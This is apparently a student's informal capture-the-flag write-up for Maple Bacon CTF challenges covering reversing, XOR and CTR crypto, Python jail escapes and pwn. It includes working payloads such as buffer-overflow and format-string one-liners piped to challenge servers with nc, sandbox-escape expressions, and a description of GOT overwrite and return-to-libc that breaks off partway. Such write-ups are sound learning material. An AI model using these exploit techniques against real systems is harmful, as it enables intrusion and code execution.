### plain

 plain was easy, i literally just had to open it in IDA, do a shift-f12 for show all strings, and it was right there `maple{binaries_are_not_secret}`

### keys  

 keys was also quite easy - there was a trick point where IDA failed to understand the function since it was `call sub_5583F17B9188+1` instead for some reason and the function failed to disassemble correctly

 i just had to undefine the function, select loc_5583F17B9189 and press `c` for code, then go to edit - make function and voila

 the function is a simple XOR of `byte_5583F17BA040` as the "encrypted" data, and the cycling `byte_5583F17BA020` that basically does a modulo using i & 3

 thus i just wrote the following code:
```py
bytes = [0x27, 0x0E2, 0x74, 0x0B9, 0x2F, 0x0F8, 0x70, 0x0BD, 0x79, 0x0DC, 0x4F, 0x90, 0x13,
0x0DC, 0x4D, 0x86, 0x15, 0x0CB, 0x30, 0x87, 0x0E, 0x0C0, 0x34, 0x91, 0x79, 0x0E7,
0x5B, 0x0E4, 0x24, 0x0DC, 0x50, 0x9D, 0x0F, 0x0DC, 0x46, 0x0E4, 0x24, 0x0B7, 0x76,
0x0AC, 0x37, 0, 0, 0, 0, 0, 0, 0]

md = [0x4A, 0x83, 4, 0x0D5]

print('test')
for i in range(len(bytes)):
  print(chr(bytes[i] ^ md[i & 3]))
```

 and voila the flag is printed `maple{th3_KEY_IS_H4RDC0D3d_1n_THE_B1n4ry}`

### wetuwn addwess  

 this is a box standard `gets` buffer overflow exploit, in fact it looks exactly the same as this pretty much https://stackoverflow.com/questions/44469372/exploiting-buffer-overflow-using-gets-in-a-simple-c-program

 just need to look into IDA and see how the stack is allocated, find the return offset, and override it with the `win()` function ptr using `python -c 'print("a"*56+"\x16\x12\x40\x00\x00\x00\x00\x00")' | nc wetuwn-addwess.ctf.maplebacon.org 32014` 

 voila `maple{r3turn_t0_w1n}`

### echowo  

 another box standard `printf` format attack exploit - just keep using `%016x.%016x.%016x.%016x.%016x.%016x...` to print addresses until something looks interesting, and `%016x.%016x.%016x.%016x.%016x.%016x.%s` it since we know its a string, and viola

 `maple{fowmat_stwing_vuwnewabiwity!!}`

### memowy cowwuption  

 another box standard memory corruption - this time it is writing out of bounds; only 0x40 was malloc'd but we can write 0x64 bytes to it

 this one for some reason took me a while to figure out the offset - i couldnt find the right amount of random bytes to overwrite until i reach the user id, so i just guessed the offset since there is user id output, so thats not the main problem

 the main problem is python doesnt want to encode `\xef\xbe\xad\xde` correctly, so i had to change the solution to using python to generate the `80 * "a"`s and `echo -e 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xef\xbe\xad\xde' | nc memowy-cowwuption.ctf.maplebacon.org 32019` 

 flag `maple{ovewwwiting_stack_vawiabwes}`

### copilot my savior  

 ngl this one was kinda funny - the encrypt function generated by copilot is literally a single XOR lmfao which is easily reversable

 thus i literally just altered the given encrypt.py to brute force the following since it asserted 0 < key < 255
```py
def encrypt(file, key):
  f = open(file, "r", encoding="utf-8")
  str = ''
  for line in f:
      for c in line:
          str+=chr(ord(c) ^ key)
  if 'maple' in str:
      print(str)
  f.close()

  for key in range(255):
      encrypt("flag.txt.enc", key)
```

 and lmao here it is `maple{c0P1L07_b37R4Y3D_m3}`

### encode me  

 just a lot of pretty much cpsc 213 endianness byte size convert hex to dec yadayada stuff lmao

 the gist here is to be able to automate it since you need 1337 correct tries to pass it and get the flag

 so pwntools to the rescue

 one thing to note tho is that there was no mention of byte size in bytes and base64 qn, only endianness - i originally used dynamic byte size but the system only supports 8 byte padded so it was dying randomly part way through

 also i was too rusty at pwntools and forgot recvuntil dies and doesnt print anything when EOF lmao 
```py
import sys
import base64
sys.path.append("/home/l/leeyl/pwntools/pwntools-4.7.0/")

from pwn import *

conn = remote('encode-me.ctf.maplebacon.org', 32016)

score = 0


while True:
    if score <= 1336:
        print(conn.recvuntil('Return '))
    else:
        print(conn.recvall())
    defin = conn.recvline().decode('utf-8')
    print(defin)
    spl = defin.split(' as ')

    if 'bytes (little endian)' in spl[1]:
        print(int(spl[0]).to_bytes(64 // 8, 'little'))
        conn.send(int(spl[0]).to_bytes(64 // 8, 'little'))
    if 'binary' in spl[1]:
        print(bin(int(spl[0])))
        conn.send(bin(int(spl[0])))
    if 'hexadecimal' in spl[1]:
        print(hex(int(spl[0])))
        conn.send(hex(int(spl[0])))
    if 'base64' in spl[1]:
        #they only accept 8 bytes size - original (n.bit_length() + 7) // 8 doesnt work
        print(base64.b64encode(int(spl[0]).to_bytes(64 // 8, byteorder='big')))
      conn.send(base64.b64encode(int(spl[0]).to_bytes(64 // 8, byteorder='big')))
    conn.send('\n')
    score+=1



conn.close()
```

`maple{d1d_y0u_u5e_pwnt00l5?}`

 
   
### decode me  

 literally reverse of encode me, with more cringe formatting

 main thing about this chall is how you read the bytes - i keep reading the wrong thing since the bytes can have `b'\n'` in the middle of the valid byte and so it was dying randomly

 you can see me giving up and doing another while loop in case the thing died part way so i dont have to manually retry lmao
```py
import sys
import base64
sys.path.append("/home/l/leeyl/pwntools/pwntools-4.7.0/")

from pwn import *

score = 0

while score < 10000:
    conn = remote('decode-me.ctf.maplebacon.org', 32015)
    try:
        while True:
            spl = [0, 0]
            if score <= 1336:
                print(conn.recvuntil('BEGIN'))
                spl[1] = conn.recvuntil('\n')
            else:
                print(conn.recvall())
                score=10000
            spl[0] = conn.recvuntil('\n-', drop=True)

            if 'BYTES (LITTLE ENDIAN)' in spl[1].decode('utf-8'):
                print(int.from_bytes(spl[0], 'little'))
                conn.send(str(int.from_bytes(spl[0], 'little')))
            if 'BINARY' in spl[1].decode('utf-8'):
                conn.recvline()
                print(int(spl[0], 2))
                conn.send(str(int(spl[0], 2)))
            if 'HEXADECIMAL' in spl[1].decode('utf-8'):
                conn.recvline()
                print(int(spl[0], 16))
                conn.send(str(int(spl[0], 16)))
            if 'BASE64' in spl[1].decode('utf-8'):
                print(int.from_bytes(base64.b64decode(spl[0].decode('utf-8')), 'big'))
                conn.send(str(int.from_bytes(base64.b64decode(spl[0].decode('utf-8')), 'big')))
            conn.send('\n')
            score+=1
    except EOFError:
        score = 0
        conn.close()
    

conn.close()
```

`maple{15_th15_crypt0??}`
   
### one two three  

 this one is honestly quite challenging but idk if its just me being bad at crypto lol

 i originally thought its an AES ECB ciphertext attack but i dont even know the position of the flag nor is it 16 bytes wide so i cant do that (ECB only shows weakness when you get a full block of plaintext+ciphertext) 

 so i looked again and realized its just xoring keys together and i got a lot of ciphertext

 we can actually use 2 lines of ciphertext xor'd with the same value to get the xor'd value of the 2 plain text

 since `(A ^ k) ^ (B ^ k) = A ^ B`

 so i went to work and wrote a tester:
```py
for i in range(len(lines)):
  x = xor(int_to_bytes(int(lines[i], 16)), int_to_bytes(int(lines[i+1], 16)))
  for j in range(len(x)):
      test = xor(x[j:j+6],b'maple{')
      if re.match('^[a-zA-Z0-9 ]+$', test.decode('utf-8')) != None:
          print(test, str(i), str(j))
```

 the first returned line looks REALLY like a real plaintext - so i marched on and verified it:
```py
for i in range(len(lines)):
  x = xor(int_to_bytes(int(lines[1], 16)), int_to_bytes(int(lines[i+1], 16)))
  test = xor(x[12:],b'unter ')
  try:
      if re.match('^[a-zA-Z0-9 ]+$', test.decode('utf-8')) != None:
          print(test, str(i))
  except:
      continue
```

 eyo? all of the returned lines (the try catch filtered the junk lines that cant be decoded out) were definitely in plaintext and there were at least 15 of them so its definitely correct

 so now that i verified line 0 position 12 is the start of the flag, i tried making a searcher
```py
pat = re.compile('^[a-zA-Z0-9!.\?,\-"\(\) ]+$')
alpn = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_!-?}'.encode('utf-8')

def search(bstr: bytes):
    # if(25 < len(bstr)):  #terminate tree
    #     print(bstr)
    #     return

    for c in alpn:
        nstr = bstr + bytes([c])
        #print('trying', nstr)
        fail = False
        for i in [1, 2, 3, 5, 6, 7, 8, 9, 10, 11, 14, 17, 18, 23, 24]:
            x = xor(int_to_bytes(int(lines[0], 16)), int_to_bytes(int(lines[i], 16)))
            test = xor(x[12:], nstr)
            try:
                if pat.match(test.decode('utf-8')) == None:  #all of the lines should return alphanumeric results
                    print('line', str(i), 'mismatch', test, ' try ', nstr)
                    fail = True
                    break
            except:
                fail = True
                break
        if not fail:
            search(nstr)
```

 note that the regex pattern is common punctuation and the brute forcer is only leetspeak characters

 plain brute forcing using this method was still too slow though, but when i was racking my brain out i looked at the output and realized some of the words i can actually fill it in by myself

 such as when i see `n unnece`, i thought it most likely would be `n unnecessary`

 so i wrote YET another tester
```py
x = xor(int_to_bytes(int(lines[0], 16)), int_to_bytes(int(lines[7], 16)))
test = xor(x[12:], b'n unnecessary')
print(test)
```

 and LMAO it actually is right i got `maple{ctr_1s_` which is standard leetspeak

 so i just repeated this process of generating more strings using the search func that look like i can complete the word, complete the word myself, verify with the tester, and then put it back into the search func

 and after 2 hours of work i finally got the flag `maple{ctr_1s_g00d_bu7_d0n7_r3p347_n0nc35}`

### pyjail  

 pyjail 1 was braindead easy - since they only have a really limited list of things you cannot do, we can just do `import os; os.system('ls')` and run basically every shell cmd on it lol

 first thing i did ofc was to do reconnaissance - ran some `ls` to see where the flag might be

 the flag file was in multiple directories - `secret/flag/topsecret.txt` was the location

 and the its just a `cat secret/flag/topsecret.txt` and voila lmao `maple{welc0m3_to_the_w0rlD_oF_cod3_j4ilz}`

### pyjail 2  

 now this one is more challenging - it banned even the reflective operations which largely relies on `_`, and has a 50 char limit, so i had to squeeze a lot of characters out

 its also unlike HKCERT CTF's pyjail since `_` is completely banned, but i know we can use string escape sequences `\x` since ive read up on it

 (side note it only took me ages coz i thought it was in the same path as pyjail 1 which was `secrets/flag/topsecret.txt` which takes up a lot more chars than `flag.txt`)

 i initially thought of getting `exec()` and `input()` functions to call them, but they ended up too long (`vars(list(globals().values())[6])['\x65xec']()` is alr needed to get just exec func)

 but then i realized no wait i can just use open the normal way and reflect read instead

 and so after a while i finally got the cmd `print(getattr(open('fla\x67.\x74xt'),'\x72ead')())`

 and ey `maple{pyth0n_0n3_lInerz_UwU}`

### hijacked  

 ofc the first thing i tried was searching the flag in the file directly - if i remembered correctly that was the most braindead thing in HKCERT CTF lmao

 good thing this time the flag is not there right in a hex editor, so i proceeded to look at HTTP requests

 i dont have wireshark on my laptop, so i used tcpdump, but theres not much detail i can spot well so i used ngrep instead

 i noticed some weird calls to ix.io, along with funni meems like `GET /?q=blend%20in%20with%20humans%20wikihow` ok lmao

 all of the ix.io files /3MDU /3MDT /3MDR /3MDS are all visibly lat lon coordinates and elevation

 and i noticed one of the request is to https://www.topografix.com/GPX/1/1/ so it definitely is lat lons

 first thing that came to mind right after that is how the coordinates feel like they are tracing the flag with the sharp turns and stuff, so i went to work generating a gpx file for online viewer

 i went on https://en.wikipedia.org/wiki/GPS_Exchange_Format, looked at the sample, and made a regex to generate the track data as xml format (read `([\-0-9.]*) ([\-0-9.]*) ([\-0-9.]*)` replace `      <trkpt lat="$1" lon="$2">\n        <ele>$3</ele>\n        <time>2009-10-17T18:37:26Z</time>\n      </trkpt>`

 then i copied the headers and footers from the wiki sample to finish the file off

 i think the time being all the same broke https://gpx.studio/, so i went to another one https://www.gpsvisualizer.com/ which worked flawlessly

 one last thing was figuring out whether the 0s are `0` or `O`s - i just guessed that they are 0s due to leetspeak and ey got it `MApLE{mISc_bAc0n_Fr0M_0utER_SpAc3}`

### uwu intewpwetew  

 by far my fav chall so far lmao its the just right amount of difficulty and is quite ingenious

 i first went and looked in the src and i realized something is wrong in the interpreter: for `owo` inst, the guard was in the wrong direction `if (pointer > DATA_LEN) {` - since we are `pointer--`-ing the guard should check if pointer went out of bounds using `< 0` instead

 so now that i know i can read and write to any of the memory locations (provided that i dont go over the char limit of 100 bytes) that is before the pointer counter location i went to work looking at if there are any return addresses that i can utilize on the stack

 yep there it is right there at the stack view in IDA when i was breakpointed at `@w@` with the only `vuln+xx` shown - it is the return address for printf

 through breakpointing at every `@w@` call after `owo` i realized i only need 10 `owo`s to decrement it to the printf return address on the stack (each decrement is 4 bytes), which is really good, so i started experimenting with modifying the address value

 i originally used `QwQ`  to decrement it to `win()`'s address since looking at esolang that is the only one thats implemented and useful, but that would require me to make hundreds of repeating `QwQ`s (iirc 407 or so) which is impossible without breaking char limit

 but then i realized `>w<`'s implementation in this chall is different - it writes an entire 4 bytes instead of 1 char, so i started thinking if i can actually grab the original address (ASLR so i cannot hardcode) and then do a subtraction to `win()`'s address

 in the process somehow the returned lower portion of the address was different in hex than the one in IDA debugging - it was off by 787 or so (in decimal) but it doesnt matter much since its always off by that amount

 so i factored that in, and also subtracted the return address with the `win()` address, and finally came to the value of `-244` in decimal

 to grab everything i need, i just did `owo owo owo owo owo owo owo owo owo owo @w@ >w< @w@` to print the address value at the stack, subtract that value specified in `data: ` by `244`, enter that subtracted value into `>w<`'s input, and `@w@` to trigger the return to the address modified

 viola `maple{nyo_wespect_fow_boundawies}` right before segfault as i modified the return so stack frame is broken

### pyjail 3  

 i am actually braindead on this one

 i noticed i cant use `getattr` like i did in pyjail 3 anymore, so i thought hm maybe its actually time to try out a way to do `exec(input())` so i get no restrictions anymore

 but after an hour i only went from `vars([*globals().values()][6])['\x65xec'](vars([*globals().values()][6])['\x69nput']())` to `locals().update([['a',[*vars([*globals().values()][6]).values()]]]) or a[20](a[28]())` to `locals().setdefault('a',[*vars([*globals().values()][6]).values()])[20](a[28]())` which is still 30 chars above limit

 i really wanted to shorten that since its a really powerful line of code that i might be able to use in other pyjails but it feels like i was at a deadend

 so i just went back to the drawing board and looked at `open()` again

 after poking around with running `print(vars())` and stuff i noticed open in text mode has a `buffer` field, which has a `peek()` function that is not banned but does the same thing as `read*()` which is banned

 but when i try to do that it for some reason throws `ValueError: peek of closed file`

 so after trying to debug if its my file system's problem i just went to try other modes instead and used `rb` which returns a `bufferedreader` directly

 and bruh `print(open('fla\x67.\x74xt','rb').peek(100))` works flawlessly

 so yea if i used that method in pyjail 2 i couldve solved it in 3 seconds lmao

 anyway flags here `maple{Did_u_kn0w_that_d0lph1ns_sl33p_with_one_eye_open}`

### baby pwintf  

 this one is a standard printf format string overwrite, but i still had no idea what i was doing lmao

 i did the usual `%p%p%p%p%p` stuff to try to get some idea of what it is, before realizing it only accepts 10 bytes of input

 so theoretically the rating pointer would also be in there somewhere since its not that far up the stack but i cannot find it anywhere near the rbp in IDA stack view (i genuinely think stack view is kinda broken coz every single chall i see different values than what i can gather lmao)

 so after some more smolbraining i eventually plugged the pointers i got from the format string into IDA to see heap data and lol the first pointer is already the rating pointer 

 so i attempted to write to it using `%.4919d%n`, where 4919 = 0x1337 and `%.4919d` prints 4919 characters for plugging its length into `%n` which writes to the non existent variable which is just a stack pointer

 but it segfaulted - `%.4919d%n` seems to not be writing to the right pointer as i expected using `%p`

 so i ended up just trying out all the offsets before landing on one that sets the rating to `0 / 10` instead of `4 / 10` due to `%` being the first char and hey `%7$n` worked flawlessly

 now that i see it i recall seeing other ctf writeups using `%7$n` too but i still cant point my hand to why that is

 i suspect its due to `%n` not being QWORD aligned but instead works on byte to byte basis but i honestly have no idea

 anyways then i just did `%.4919d%7$n` and it works like a charm so here the flag is `maple{youwe_weady_fow_the_big_boy_chawwenge}`

 26/01/2022 15:20 EDIT: after doing a lot of printfs in pwintf, i realized %7$n is because it was popping registers before accessing stack so to access ratings on the stack we gotta go through them first

### 3d   

 this one took probably the longest out of all challs ive solved so far ngl

 had to get a direct understanding on how every single component worked

 not to mention the offset table screwed up hexrays decompilation so i couldnt get a high level overview and had to reverse instruction by instruction

 either way rant over heres how i did it 

 so as usual i opened it in IDA and looked at how the main func worked using the decompiler

 upon digging, the input is not directly related to the flag - it is only a password for decrypting the AES encrypted flag, so i cannot test it with `maple{`

 there is a loop that checks 3 values, `dword_3220` (hereby renamed `must_be_7_1st` and `mb71`), `dword_3224` (hereby renamed `must_be_0` and `mb0`) and `dword_428C` (hereby renamed `must_be_7_2nd` and `mb72`), which only moves on when all 3 values are 7, 0, and 7 respectively (hence the names i gave them)

 so i looked at the if clause inside the loop and realized `sub_166B` returns zero and terminates the program using `sub_1741` when given invalid input, and upon further digging (code block before first `ja`) they only accept the input `[a-w]{0,26}` (in regex, 26 since `fgets` only reads 26 characters), so i just tried to spam random input in that range to see what happens in the debugger

 but somehow it is still jumping to return 0, which prompted me to analyse the code block right after the `ja`:
```asm
mov     eax, eax        ; no op - apparently missed optimization
lea     rdx, ds:0[rax*4]
lea     rax, offset_table_2010 ; load offset table for calculating which offset to use
mov     eax, [rdx+rax]  ; calculate which offset to use based on lea rdx, ds:0[rax*4] and store the offset in eax
cdqe                    ; extend to rax for calculation
lea     rdx, offset_table_2010 ; load offset table again
add     rax, rdx        ; load branch address offset from offset table by value specified in offset table
db      3Eh             ; jump to address
jmp     rax
```

 and here is the offset table:
```text
7A F4 FF FF 8B F5 FF FF  8B F5 FF FF EE F4 FF FF
58 F5 FF FF 8B F5 FF FF  8B F5 FF FF 8B F5 FF FF
8B F5 FF FF 8B F5 FF FF  8B F5 FF FF 8B F5 FF FF
8B F5 FF FF 8B F5 FF FF  8B F5 FF FF 8B F5 FF FF
25 F5 FF FF 8B F5 FF FF  B4 F4 FF FF 8B F5 FF FF
8B F5 FF FF 8B F5 FF FF  40 F4 FF FF 50 61 73 73
```

 which actually corresponds to only 6 valid inputs with the rest jumping to return 0 after some calculations using the offsets and the address of the table upon more digging

 with that knowledge, i started mapping what branches does what - and i quickly realized each branch adds and subtracts each of the 3 values respectively

 by mapping the offset table to the branches, i thought running `w` once and `q` 7 times will set the values correctly, being blissfully unaware of the top code block of each branch that checks whether branch can be executed (i kinda saw that coming if it was that straightforward there would be multiple AES keys which shouldnt be the case, but tried to ignore it coz it would mean more pain lmao)

 and of course the branches didnt execute as i thought - the values were unchanged when i ran with the password

 so i bit my lip and marched on, mapping the code block that is responsible for handling the testing and noticing another pattern (this is branch 5, aka `w`):
```asm
mov     eax, 0
call    sub_12A9 ; (8 * (8 * must_be_7_2nd + must_be_0) + must_be_7_1st);
cdqe                    ; another extend for adding to address
lea     rdx, value_table_3020 ; grab value table ptr for calculating which value to use
movzx   eax, byte ptr [rax+rdx] ; offset value table ptr by result of call and get the value to use
movzx   eax, al         ; retain only lower 1 byte of eax
and     eax, 10h
cmp     eax, 10h        ; see if bit 5 is set
jnz     short loc_15AE
```

 and finally with that info i was able to map exactly what input does what
```txt
w - FFFF F440 - must_be_0 -1 - up 8 bytes - req bit 2
a - FFFF F47A - must_be_7_1st -1 - up 1 byte - req bit 3
s - FFFF F4B4 - must_be_0 +1 - down 8 bytes - req bit 1
d - FFFF F4EE - must_be_7_1st +1 - down 1 byte - req bit 4
q - FFFF F440 - must_be_7_2nd +1 - down 64 bytes - req bit 5
e - FFFF F558 - must_be_7_2nd -1 - up 64 bytes - req bit 6
```

 side note - the 3 values can never be negative as the function just value++ again right after subtraction if that happens, as i noticed with the comment `loc_15B2:       ; looks like a bunch of negative checks`

 looking at how the inputs resemble a game, with `wasd` keys and `qe` for jumping, its more and more evident that the value table itself is basically a maze of sorts - which means good ol `cpsc 110` graph searching is gonna be once again very helpful :upside_down_face:

 as i really did not want to write yet another searcher, i tried to manually traverse the maze myself, but gave up after reaching 2 or so dead ends

 so yea eventually i had to give in and just write a script to search the tree for me:
```py
#value_table at 3020
tbl = [
0x09,0x14,0x01,0x10,0x09,0x05,0x01,0x01, 0x13,0x01,0x03,0x01,0x03,0x12,0x0B,0x07,
0x0B,0x0E,0x16,0x12,0x02,0x10,0x03,0x12, 0x12,0x08,0x0C,0x0C,0x1C,0x14,0x03,0x10,
0x18,0x0C,0x0C,0x14,0x10,0x09,0x0E,0x15, 0x11,0x10,0x08,0x0C,0x0C,0x07,0x11,0x12,
0x02,0x10,0x10,0x08,0x15,0x02,0x0A,0x05, 0x10,0x08,0x14,0x10,0x02,0x08,0x14,0x02,
0x11,0x30,0x01,0x28,0x0C,0x05,0x08,0x15, 0x2A,0x14,0x12,0x01,0x01,0x2A,0x15,0x13,
0x08,0x15,0x39,0x26,0x0A,0x25,0x1B,0x26, 0x20,0x0A,0x17,0x01,0x30,0x2B,0x0F,0x24,
0x20,0x08,0x1F,0x2F,0x2C,0x17,0x03,0x30, 0x21,0x28,0x06,0x02,0x08,0x06,0x33,0x20,
0x0A,0x35,0x28,0x05,0x28,0x0C,0x0F,0x04, 0x28,0x06,0x28,0x2E,0x1C,0x04,0x3A,0x04,
0x20,0x20,0x19,0x05,0x08,0x1C,0x05,0x30, 0x11,0x20,0x32,0x02,0x08,0x05,0x32,0x20,
0x0B,0x24,0x38,0x04,0x01,0x0A,0x2D,0x04, 0x02,0x19,0x34,0x01,0x32,0x11,0x1A,0x04,
0x08,0x06,0x29,0x1E,0x04,0x22,0x08,0x24, 0x10,0x09,0x1E,0x14,0x08,0x0D,0x3C,0x05,
0x19,0x37,0x08,0x0C,0x0C,0x06,0x11,0x12, 0x02,0x02,0x08,0x0C,0x2C,0x1C,0x3E,0x14,
0x10,0x10,0x20,0x08,0x1D,0x25,0x01,0x21, 0x31,0x08,0x25,0x10,0x02,0x02,0x33,0x03,
0x13,0x08,0x3E,0x14,0x10,0x10,0x12,0x02, 0x02,0x20,0x29,0x04,0x21,0x30,0x28,0x04,
0x18,0x0C,0x16,0x20,0x02,0x09,0x1C,0x04, 0x28,0x0C,0x34,0x30,0x18,0x1E,0x2C,0x04,
0x20,0x38,0x05,0x01,0x01,0x01,0x20,0x30, 0x10,0x08,0x0E,0x16,0x1A,0x36,0x30,0x20,
0x21,0x28,0x0D,0x04,0x20,0x18,0x0D,0x04, 0x22,0x08,0x07,0x21,0x11,0x18,0x36,0x01,
0x20,0x08,0x37,0x2A,0x3F,0x24,0x28,0x07, 0x11,0x01,0x1A,0x14,0x02,0x20,0x11,0x03,
0x22,0x0A,0x24,0x08,0x1C,0x05,0x33,0x12, 0x10,0x11,0x21,0x30,0x30,0x22,0x1A,0x04,
0x08,0x27,0x0A,0x0C,0x04,0x08,0x14,0x21, 0x38,0x06,0x18,0x24,0x20,0x30,0x30,0x02,
0x01,0x19,0x1C,0x04,0x10,0x20,0x19,0x04, 0x12,0x1B,0x0C,0x04,0x20,0x20,0x2A,0x04,
0x08,0x0F,0x3C,0x14,0x38,0x04,0x19,0x14, 0x30,0x02,0x30,0x30,0x01,0x10,0x3A,0x04,
0x08,0x05,0x01,0x01,0x3A,0x14,0x30,0x20, 0x29,0x3F,0x07,0x22,0x30,0x11,0x28,0x14,
0x12,0x03,0x0A,0x05,0x10,0x1A,0x35,0x01, 0x20,0x02,0x20,0x0A,0x14,0x20,0x3A,0x16,
0x09,0x34,0x21,0x01,0x29,0x14,0x20,0x11, 0x22,0x30,0x02,0x12,0x1A,0x0D,0x1C,0x16,
0x08,0x0C,0x24,0x30,0x20,0x02,0x30,0x20, 0x30,0x08,0x35,0x28,0x1C,0x34,0x28,0x04,
0x08,0x0C,0x06,0x10,0x20,0x20,0x20,0x01, 0x10,0x39,0x1D,0x04,0x20,0x38,0x14,0x33,
0x20,0x13,0x1A,0x0C,0x24,0x20,0x30,0x02, 0x08,0x16,0x10,0x08,0x3C,0x04,0x30,0x20,
0x01,0x20,0x08,0x0D,0x04,0x20,0x01,0x20, 0x0B,0x25,0x08,0x2F,0x2C,0x04,0x22,0x20,
0x02,0x03,0x01,0x2B,0x04,0x08,0x2D,0x04, 0x20,0x02,0x22,0x03,0x21,0x20,0x0A,0x04,
0x01,0x01,0x08,0x26,0x0A,0x04,0x01,0x01, 0x2B,0x26,0x28,0x0C,0x04,0x20,0x22,0x23,
0x02,0x20,0x29,0x04,0x08,0x0C,0x24,0x03, 0x08,0x24,0x2A,0x04,0x28,0x04,0x20,0x02
]


#wasdqe and what they do as defined in sub_140C's offset table and branching
def move(step, mb0, mb71, mb72, path, visited): #we want to reach 0, 7, 7 for each mb value

    if mb0 == 0 and mb71 == 7 and mb72 == 7: #solution found
        print(path)
        return

    if step == 26: #i can only input 26 chars
        print('fail', mb0, mb71, mb72)
        return


    ptr = (8 * (8 * mb72 + mb0) + mb71)

    #print('ptr', ptr, 'visited', visited, 'path', path, 'curr', hex(tbl[ptr]))

    if ptr in visited:   #we dont want to revisit - might block solution if it somehow increments value but is significantly faster
        return

    curr = tbl[ptr] #current value as defined by sub_12A9 for ptr

    #print('path', path, 'curr', hex(curr))

    visited = visited + [ptr]

    step+=1
  
    if curr & 0b10: #branch 1, up 8 bytes
        newmb0 = mb0 - 1 if mb0 > 0 else mb0 #cannot go negative as defined in loc_15B2
        #if len(path) <= 0 or path[-1] != 's':  #ignore useless going back - prob should exempt zeros tbh
        newpath = path + 'w'
        move(step, newmb0, mb71, mb72, newpath, visited)  #have to put move in each if to branch the tree

    if curr & 0b100: #branch 2, up 1 byte
        newmb71 = mb71 - 1 if mb71 > 0 else mb71
        #if len(path) <= 0 or path[-1] != 'd':
        newpath = path + 'a'
        move(step, mb0, newmb71, mb72, newpath, visited) 

    if curr & 0b1: #branch 3, down 8 bytes
        newmb0 = mb0 + 1
        #if len(path) <= 0 or path[-1] != 'w':
        newpath = path + 's'
        move(step, newmb0, mb71, mb72, newpath, visited) 

    if curr & 0b1000: #branch 4, down 1 byte
        newmb71 = mb71 + 1
        #if len(path) <= 0 or path[-1] != 'a':
        newpath = path + 'd'
        move(step, mb0, newmb71, mb72, newpath, visited)

    if curr & 0b10000: #branch 5, down 64 bytes
        newmb72 = mb72 + 1
        #if len(path) <= 0 or path[-1] != 'e':
        newpath = path + 'q'
        move(step, mb0, mb71, newmb72, newpath, visited)
  
    if curr & 0b100000: #branch 6, up 64 bytes
        newmb72 = mb72 - 1 if mb72 > 0 else mb72
        #if len(path) <= 0 or path[-1] != 'q':
        newpath = path + 'e'
        move(step, mb0, mb71, newmb72, newpath, visited)


#starting data of must_be_0, must_be_7_1st and must_be_7_2nd
move(0, 1, 7, 0, '', [])
```

 it is uncanny how many mistakes i made while writing that script (*coughcoughforgettingtosetanewvarforeachbranchandfailingbeforecheckingsuccesscoughcough*), thats why it took me ages

 but hey in my defense it was also 6am and ive been working on this for 2 hours already

 anyways it generated a single solution out as i hoped (`sqasasaaawwqqqqdqqwdedddwq`) in the end, and hey when i plugged that password in there the flag is `maple{aMAZE1ng_job!11!1}`

### spinning around  

 LMAO holy the method i solved this is probably way more braindead than the expected one

 i really dont wanna trace the code flow through ida to deobfuscate the data so i originally tried to decompile and recompile all the code so i can trace it easier with prints and stuff

 but after a while it was getting really tiring coz im not sure about how to clean certain certain things (namely ptr arithmetic in IDA) into correct c++ code so it was segfaulting a lot 

 so i kinda just gave up on that

 but then i was thinking hm since the process is iterating through characters and terminating right when it hit the wrong character (prints found but expected msg and exits) anyways if i can just find a way to count the loop i know up until exactly which char the flag is correct

 so i can just write a brute forcer to set characters according to the count!

 i chose pwntools and gdb coz it feels the most straightforward to me for scripting a debugger like that, so i started setting them up with a python script

 after a lot of setup headaches ~~mainly due to me being dumb~~ with using the wrong pwntools feature and scrambling to find a working gdbserver and then finding all the wrong ones, i finally got the script setup:
```py
from pwn import *

flag = 'maple{'

alpn = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_!-?}'

count = 0    

while len(flag) < 50:

    for c in alpn: 
        count = 0
        io = process(['/usr/bin/gdb', '-q', './spinning_around.bak'])
        io.sendline('b *(main+0x18B)')
        print(flag + c + 'a'*(49-len(flag)))
        io.sendline('set args ' + flag + c + 'a'*(49-len(flag)))
        io.sendline('start')

        io.recvuntil('Temporary breakpoint')
        io.recvuntil('\n(gdb) ')
        io.send('continue\n')

        while True:
            end = io.recvuntil('\n(gdb) ')
            if 'exited with code' in end.decode('utf-8'):
                break

            count+=1
            io.send('continue\n')
    
        print(c, count)
        if count == len(flag) + 2:
            flag += c
            io.close()
            break

        io.close()
```

 and LMAO it actually works

 well that is until the chars after `maple{r0t4ting_unb4` - since i used a as placeholders and i was checking count == instead of count >=, since the flag was `unb4la` when i got `l` it counted 22 instead of 21 and ignored it

 but eventually i manually spotted it in the prints and i just replaced the flag and continued generating

 and voila `maple{r0t4ting_unb4lanc3d_tr3es_4r3_v3ry_very_fun}` with the dumbest method ive used to retrieve a flag LMAO

 literally did nothing related to rotating unbalanced trees KEK but in my defense my solution is also *spinning* around with loops xd(???)

### pwintf  

 holy fucking shit this has been the worst chall ive done BY MILES

 it has like way too many pwn elements - rop (using pop gadgets to shift `RSP`, but more accurately just using existing codes to my advantage coz i only used 1 single gadget lol), return to libc (literally calling system and providing arguments), and format string of course

 ive been working on this on and off for like 2 days (tbf it was partially coz of schoolwork being in the way) but yea i dont even remember much from when i started attempting this chall anymore lmao

 all i know is that ive stumbled upon countless roadblocks along the way which did not help at all lmao

 from what i still remember i first started by checking IDA and mapping the pointers im getting through `%<>$p` to libc functions and then getting the offsets to guess the libc version to get system offset (COZ I DID NOT REALIZE LIBC WAS LITERALLY PROVIDED)

 after looking at some patterns that looks like it matches the libc i was testing on and also doing some trial and error on function alignments (since the leaked addresses are offsets that mightve changed) i went on libc-database to see and ey i got a hit `libc6_2.31-0ubuntu9_amd64`

 *funnily enough i realized i guessed exactly correctly later on lmao*

 i then tried to utilize this knowledge to overwrite things - namely the good ol GOT since its the most convenient to deal with

 but i reached a problem that only exists with 64bit binaries: since we are using 64bit, but since the width specifier is integer we cannot overwrite more than 8 lower bytes of each stack value, and even if we can its gonna take eons to finish printing

 after some painful looking i finally found a way to modify GOT even with this restriction (iirc through double referencing, which is a predecessor of the method im gonna write about below, but it relies too much on how the stack is laid out with what data (in context the pwintf binary only had 1 set of ptrs to do exactly just overwriting GOT and nothing else) so im not gonna detail it here)

 and then with this newfound knowledge i started trying to overwrite GOT to change printf ptr to system so i can pass `/bin/sh` to it on next loop

